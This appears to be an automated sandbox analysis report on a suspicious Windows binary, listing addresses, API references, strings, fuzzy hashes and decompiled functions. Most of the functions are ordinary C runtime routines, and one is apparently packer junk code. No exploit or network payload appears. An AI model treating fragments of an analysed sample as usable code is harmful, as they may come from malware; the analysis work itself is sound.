0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x00000000
0x0042a17d
0x00000000
0x0042a3ce
0x0042a3ce
0x0042a3d8
0x0042a3d8
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x00000000
0x00000000
0x0042a380
0x0042a380
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x0042a377
0x0042a377
0x00000000
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x0042a3ec
0x0042a3ef
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4a8
0x0042a4ac
0x0042a4b4
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a48d
0x0042a491
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a467
0x0042a473
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44b
0x0042a44f
0x0042a457
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a41e
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3f6
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c5
0x0042a4c8
0x0042a50a
0x0042a50a
0x0042a510
0x0042a516
0x0042a51c
0x00000000
0x0042a4ca
0x0042a4ca
0x0042a4ca
0x0042a4d1
0x00000000
0x00000000
0x0042a4d3
0x0042a4d3
0x0042a4de
0x0042a4e4
0x0042a4e6
0x0042a4ec
0x0042a4ef
0x0042a4f1
0x0042a4f7
0x0042a500
0x0042a505
0x0042a522
0x0042a525
0x0042a525
0x0042a52a
0x0042a52f
0x0042a52f
0x0042a535
0x0042a537
0x0042a53d
0x0042a543
0x0042a543
0x0042a54c
0x0042a54c
0x0042a535
0x0042a552
0x0042a556
0x0042a564
0x0042a567
0x0042a56a
0x0042a571
0x0042a573
0x0042a573
0x0042a558
0x0042a558
0x0042a558
0x0042a580
0x0042a580
0x0042a586
0x0042a588
0x0042a588
0x0042a58f
0x0042a595
0x0042a598
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x0042a5a8
0x0042a5ae
0x0042a5ae
0x0042a5b4
0x00000000
0x00000000
0x0042a5b6
0x0042a5b6
0x0042a5b9
0x0042a5bc
0x0042a5c3
0x0042a5ca
0x0042a5d2
0x0042a5d8
0x0042a5db
0x0042a5de
0x0042a5e5
0x0042a5f1
0x0042a5f7
0x0042a5fd
0x0042a604
0x0042a606
0x0042a60c
0x0042a60c
0x0042a612
0x0042a612
0x0042a618
0x0042a621
0x0042a626
0x0042a629
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x00000000
0x0042a5a6
0x0042a598
0x0042a4d5
0x0042a4d5
0x0042a4dc
0x00000000
0x00000000
0x00000000
0x0042a4dc
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x0042a93e
0x0042a94b
0x0042a94b
0x00429af2
0x00429a95
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x00429f1b
0x00429f1b
0x00429f21
0x00429f28
0x00429f2d
0x00429f30
0x00000000
0x00429f30

APIs

_get_int_arg.LIBCMTD ref: 00429EF8
_strlen.LIBCMT ref: 00429F28
_write_multi_char.LIBCMTD ref: 0042A705
_write_multi_char.LIBCMTD ref: 0042A74C
__mbtowc_l.LIBCMTD ref: 0042A7BB

Strings

("Incorrect format specifier", 0), xrefs: 00429ACA, 00429B10
_woutput_s_l, xrefs: 00429B0B
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00429AD6, 00429B06

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2986319422-2264504294
Opcode ID: 8f54262fa7ae0c9ab19aaee3ae7558bc410fc71b5a7ef6357377b5af3ff63f2c
Instruction ID: 1db0729280efa25dcb42671bc054e68ed5d27b97ba253fc167e75a493f9b185f
Opcode Fuzzy Hash: 8f54262fa7ae0c9ab19aaee3ae7558bc410fc71b5a7ef6357377b5af3ff63f2c
Instruction Fuzzy Hash: 5CA181B0E00229DFDB14DF55DC85BAEB3B5BB84304F54819AE60967281D7389E84CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA3B, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041DA3B(void* __edx, void* __eflags) {
				void* __esi;
				void* _t39;
				intOrPtr _t41;
				intOrPtr _t44;
				void* _t46;

				_t39 = __edx;
				E004241C8(0x43f9ae, _t46);
				E0041E5A0(_t46 - 0x14, 0);
				_t44 =  *0x77382c; // 0x0
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				 *((intOrPtr*)(_t46 - 0x10)) = _t44;
				_t41 = E0041CDD4( *((intOrPtr*)(_t46 + 8)), E0041CD04(0x7738ac));
				if(_t41 == 0) {
					if(_t44 == 0) {
						_push( *((intOrPtr*)(_t46 + 8)));
						_push(_t46 - 0x10);
						if(E0041D766(_t39, _t44) == 0xffffffff) {
							E004213E0(_t46 - 0x20, "bad cast");
							E00424290(_t46 - 0x20, 0x440574);
						}
						_t41 =  *((intOrPtr*)(_t46 - 0x10));
						 *0x77382c = _t41;
						E0041CD39(_t41);
						E0041E610(_t41);
					} else {
						_t41 = _t44;
					}
				}
				 *(_t46 - 4) =  *(_t46 - 4) | 0xffffffff;
				E0041E5E0(_t46 - 0x14);
				 *[fs:0x0] =  *((intOrPtr*)(_t46 - 0xc));
				return _t41;
			}

0x0041da3b
0x0041da40
0x0041da4f
0x0041da54
0x0041da5a
0x0041da63
0x0041da74
0x0041da78
0x0041da7c
0x0041da82
0x0041da88
0x0041da93
0x0041da9d
0x0041daab
0x0041daab
0x0041dab0
0x0041dab5
0x0041dabb
0x0041dac1
0x0041da7e
0x0041da7e
0x0041da7e
0x0041da7c
0x0041dac7
0x0041dace
0x0041dada
0x0041dae2

APIs

__EH_prolog.LIBCMT ref: 0041DA40
std::_Lockit::_Lockit.LIBCPMTD ref: 0041DA4F
int.LIBCPMT ref: 0041DA66

Part of subcall function 0041CD04: std::_Lockit::_Lockit.LIBCPMTD ref: 0041CD15
Part of subcall function 0041CD04: std::_Lockit::~_Lockit.LIBCPMTD ref: 0041CD2F

std::locale::_Getfacet.LIBCPMT ref: 0041DA6F
std::bad_exception::bad_exception.LIBCMTD ref: 0041DA9D
__CxxThrowException@8.LIBCMTD ref: 0041DAAB
std::locale::facet::_Incref.LIBCPMT ref: 0041DABB
std::locale::facet::_Facet_Register.LIBCPMTD ref: 0041DAC1
std::_Lockit::~_Lockit.LIBCPMTD ref: 0041DACE

Strings

bad cast, xrefs: 0041DA95

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::facet::_$Exception@8Facet_GetfacetH_prologIncrefRegisterThrowstd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 2482789966-3145022300
Opcode ID: 318d50620068c1f19a497965e60ce43866c0538f1cc6da778aff8fd92694c08d
Instruction ID: 9f22b91ecef7b0777d646783be3085ffdf82af882c55294358e51b1430fdadc6
Opcode Fuzzy Hash: 318d50620068c1f19a497965e60ce43866c0538f1cc6da778aff8fd92694c08d
Instruction Fuzzy Hash: 76119171E40114A7CF01EBA2D842AEE7735AF84768F10052FF411A72D0DB3C9A45CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 0041C6DB, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 34
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0041C6DB(void* __eax, void* __edx) {
				void* _t18;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t18 + 0x62)) =  *((intOrPtr*)(_t18 + 0x62)) + __edx;
				__imp__CreateActCtxA(_t18 - 0x1b3c);
				DeleteFileA(0);
				__imp__GetCalendarInfoW(0, 0, 0, L"vocacesoyonogotoson", 0, 0);
				InterlockedExchange(_t18 - 0x1b1c, 0);
				GetCommandLineA();
				DeleteFileA(_t18 - 0x1b18);
				TlsSetValue(0, 0);
				LocalReAlloc(0, 0, 0);
				return 0;
			}

0x0041c6e1
0x0041c6e3
0x0041c6ed
0x0041c6f5
0x0041c70a
0x0041c719
0x0041c71f
0x0041c72c
0x0041c736
0x0041c742
0x0041c74b

APIs

CreateActCtxA.KERNEL32(?), ref: 0041C6ED
DeleteFileA.KERNEL32(00000000), ref: 0041C6F5
GetCalendarInfoW.KERNEL32(00000000,00000000,00000000,vocacesoyonogotoson,00000000,00000000), ref: 0041C70A
InterlockedExchange.KERNEL32(?,00000000), ref: 0041C719
GetCommandLineA.KERNEL32 ref: 0041C71F
DeleteFileA.KERNEL32(?), ref: 0041C72C
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041C736
LocalReAlloc.KERNEL32(00000000,00000000,00000000), ref: 0041C742

Strings

vocacesoyonogotoson, xrefs: 0041C6FF

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteFile$AllocCalendarCommandCreateExchangeInfoInterlockedLineLocalValue
String ID: vocacesoyonogotoson
API String ID: 3015303842-1638427177
Opcode ID: cbb1838161e441cf07a986ffda6834b9833bd45f08f04bc76445e230675fce1e
Instruction ID: 55e71365889d6078b9305db7a3db36ddc49c74a3e08f1afc42baadc3c70db8be
Opcode Fuzzy Hash: cbb1838161e441cf07a986ffda6834b9833bd45f08f04bc76445e230675fce1e
Instruction Fuzzy Hash: 28F0BD31684344ABE7505BB0AE0EFC93A74AB04B02F504161F349F94F0D7B455858B29

Uniqueness

Uniqueness Score: -1.00%

Function 00423AD7, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00423AD7() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					_t3 = _t100 + 0xc; // 0x423a54
					if( *((intOrPtr*)( *_t3 + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t5 = _t100 + 0xc; // 0x423a54
						 *((intOrPtr*)(_t100 - 0x6c)) =  *((intOrPtr*)( *_t5 + 0x10));
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					_t11 = _t100 + 0xc; // 0x423a54
					 *(_t100 - 0x61) =  *((intOrPtr*)( *_t11 +  *(_t100 - 4) + 0x20));
					if(E00423790(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E0042DA60(E00423790(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E0042DB10( *(_t100 - 0x61) & 0x000000ff, 0x157, E00423790(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L004256E0( *(_t100 - 0x74))));
					 *((intOrPtr*)(L004256E0( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042DA00(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E00423C50( *((intOrPtr*)(L004256E0(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x91c, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L004256E0(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L0042B7E0(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E00425740(E00423760(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x00423ad7
0x00423ad7
0x00423ad7
0x00423add
0x00423ae0
0x00423ae7
0x00423af4
0x00423ae9
0x00423ae9
0x00423aef
0x00423aef
0x00423b01
0x00000000
0x00000000
0x00423b07
0x00423b07
0x00423b10
0x00423b1d
0x00423b65
0x00423b6a
0x00423b6d
0x00423b32
0x00423b45
0x00423b4a
0x00423b4d
0x00423b4d
0x00423b74
0x00423b7f
0x00423b76
0x00423b7a
0x00423b7a
0x00423b8c
0x00423b97
0x00423b9f
0x00423bc3
0x00423bc8
0x00423bcd
0x00423bd2
0x00423bf6
0x00423bfb
0x00423bfb
0x00423c06
0x00423c06
0x00423c0d
0x00423c0d
0x00423c10
0x00423c18
0x00423c35
0x00423c37
0x00423c37
0x00423c4d

APIs

__isctype_l.LIBCMTD ref: 00423B45
_swprintf_s.LIBCMTD ref: 00423BC8
__invoke_watson_if_oneof.LIBCMTD ref: 00423BF6

Strings

%.2X , xrefs: 00423BAA
_printMemBlockData, xrefs: 00423BE0
T:B, xrefs: 00423AE0, 00423B07, 00423AE9
(*_errno()), xrefs: 00423BE5
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00423BDB

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$T:B$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-2951845746
Opcode ID: 884a90ac828b515245cc5fa95c7dcd5dbc606a705d16176da8a7c81963ea8e18
Instruction ID: dc9d92eacc62df99da4eb35851ec6ebb56282799a53ee6aee96cc0fa60864df6
Opcode Fuzzy Hash: 884a90ac828b515245cc5fa95c7dcd5dbc606a705d16176da8a7c81963ea8e18
Instruction Fuzzy Hash: B331A470F05368DFCB08DFA1D956AADBB71AF44305FA0416AE4056F282D77CAB01DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00422F6E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00422FEB
_CheckBytes.LIBCMTD ref: 00423089
_CheckBytes.LIBCMTD ref: 00423132

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 004231D1
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0042315C
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 004230BE
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 00423020

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: a52ca49b1985c8a89903301128c67be7f28dc75e68f90c47cb322d08e6835e69
Instruction ID: ca08dd58960c0626c7927b79e097a0a97de80ed74755c68b19696ec518d20756
Opcode Fuzzy Hash: a52ca49b1985c8a89903301128c67be7f28dc75e68f90c47cb322d08e6835e69
Instruction Fuzzy Hash: 536140B4F001159BDB18CF84D985F7FB3B5AB48305F64811AE515AB3C1C27DE982CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004267D4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

__strcats.LIBCMTD ref: 00426807

Part of subcall function 00426D00: _wcscat_s.LIBCMTD ref: 00426D56
Part of subcall function 00426D00: __invoke_watson_if_error.LIBCMTD ref: 00426D5F

_wcscat_s.LIBCMTD ref: 00426838

Part of subcall function 00434EA0: __invalid_parameter.LIBCMTD ref: 00434F12

__invoke_watson_if_error.LIBCMTD ref: 00426841
InterlockedDecrement.KERNEL32(?), ref: 0042689A
InterlockedDecrement.KERNEL32(?), ref: 004268E7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c, xrefs: 0042681C
strcat_s(pch, cch, ";"), xrefs: 00426826
_setlocale_get_all, xrefs: 00426821

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: DecrementInterlocked__invoke_watson_if_error_wcscat_s$__invalid_parameter__strcats
String ID: _setlocale_get_all$f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c$strcat_s(pch, cch, ";")
API String ID: 972970562-3547234810
Opcode ID: 3137f266ebd3ef2c4d8879cd82e56efd94a7fb25f2b6e73ef6203a0c0bbc18c9
Instruction ID: 89e1cd665ccce3b38a1e9b6d68d8e2e2c4f7a915cbdb200b925121b57aaefb4d
Opcode Fuzzy Hash: 3137f266ebd3ef2c4d8879cd82e56efd94a7fb25f2b6e73ef6203a0c0bbc18c9
Instruction Fuzzy Hash: 7B1160B5B00214BBDB00DE84DC82FAE7779AF84709F608159E505BB282D679FB42D748

Uniqueness

Uniqueness Score: -1.00%

Function 0041D67F, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D67F(intOrPtr __ecx) {
				intOrPtr _t38;
				void* _t40;

				E004241C8(0x43f979, _t40);
				_t38 = __ecx;
				 *((intOrPtr*)(_t40 - 0x10)) = __ecx;
				E0041E5A0(__ecx, 0);
				 *((intOrPtr*)(_t40 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((char*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((char*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((char*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((char*)(__ecx + 0x20)) = 0;
				 *((char*)(_t40 - 4)) = 4;
				if( *(_t40 + 8) == 0) {
					 *(_t40 + 8) = "bad locale name";
					E004211E0(_t40 - 0x1c, _t40 + 8);
					 *((intOrPtr*)(_t40 - 0x1c)) = 0x401678;
					E00424290(_t40 - 0x1c, 0x4404e0);
				}
				E0041EAE0(_t38,  *(_t40 + 8));
				 *[fs:0x0] =  *((intOrPtr*)(_t40 - 0xc));
				return _t38;
			}

0x0041d684
0x0041d68e
0x0041d693
0x0041d696
0x0041d69b
0x0041d69e
0x0041d6a1
0x0041d6a4
0x0041d6a7
0x0041d6aa
0x0041d6ad
0x0041d6b0
0x0041d6b3
0x0041d6b6
0x0041d6bd
0x0041d6c6
0x0041d6cd
0x0041d6db
0x0041d6e2
0x0041d6e2
0x0041d6eb
0x0041d6f9
0x0041d701

APIs

__EH_prolog.LIBCMT ref: 0041D684
std::_Lockit::_Lockit.LIBCPMTD ref: 0041D696
std::exception::exception.LIBCMTD ref: 0041D6CD

Part of subcall function 004211E0: std::exception::_Copy_str.LIBCMTD ref: 0042120C

__CxxThrowException@8.LIBCMTD ref: 0041D6E2

Part of subcall function 00424290: RaiseException.KERNEL32(?,?,0041D206,00000000,00000000,00000001,?,?,?,?,0041D206), ref: 004242DC

std::_Locinfo::_Locinfo_ctor.LIBCPMTD ref: 0041D6EB

Strings

bad locale name, xrefs: 0041D6C6

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Copy_strExceptionException@8H_prologLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrowstd::exception::_std::exception::exception
String ID: bad locale name
API String ID: 446407826-1405518554
Opcode ID: 8c46a478cac4249f9ceae2eced218135d04b446d095da384d13dd65a58cfb522
Instruction ID: b2d0df3cfbdfde3e4334102243d51fff4043f0954319e09c9f26dc2b2ac162ef
Opcode Fuzzy Hash: 8c46a478cac4249f9ceae2eced218135d04b446d095da384d13dd65a58cfb522
Instruction Fuzzy Hash: 1101ADB2901744AFC720EF9A94806DEFBB4FF18384B80C52FE55993601C7389648CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 004270BA, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004270BA() {
				intOrPtr _t8;
				void* _t9;
				void* _t11;

				E004261F0(E0042AB10(_t9,  *((intOrPtr*)(_t11 - 4)), 0x86, E00427110(_t9,  *((intOrPtr*)(_t11 + 8)))), _t6, L"strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))", L"strerror", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\strerror.c", 0x53, 0);
				_t8 =  *((intOrPtr*)(_t11 - 4));
				return _t8;
			}

0x004270f7
0x004270ff
0x00427105

APIs

__get_sys_err_msg.LIBCMTD ref: 004270DC
_wcscpy_s.LIBCMTD ref: 004270EE

Part of subcall function 0042AB10: __invalid_parameter.LIBCMTD ref: 0042AB82

__invoke_watson_if_error.LIBCMTD ref: 004270F7

Strings

strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum)), xrefs: 004270D3
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c, xrefs: 004270C9
strerror, xrefs: 004270CE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __get_sys_err_msg__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c$strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))$strerror
API String ID: 2555534934-3374314591
Opcode ID: a797aec44e91e0dc450a84248c1242c696e85b113d14fe6df772e500ecb98f72
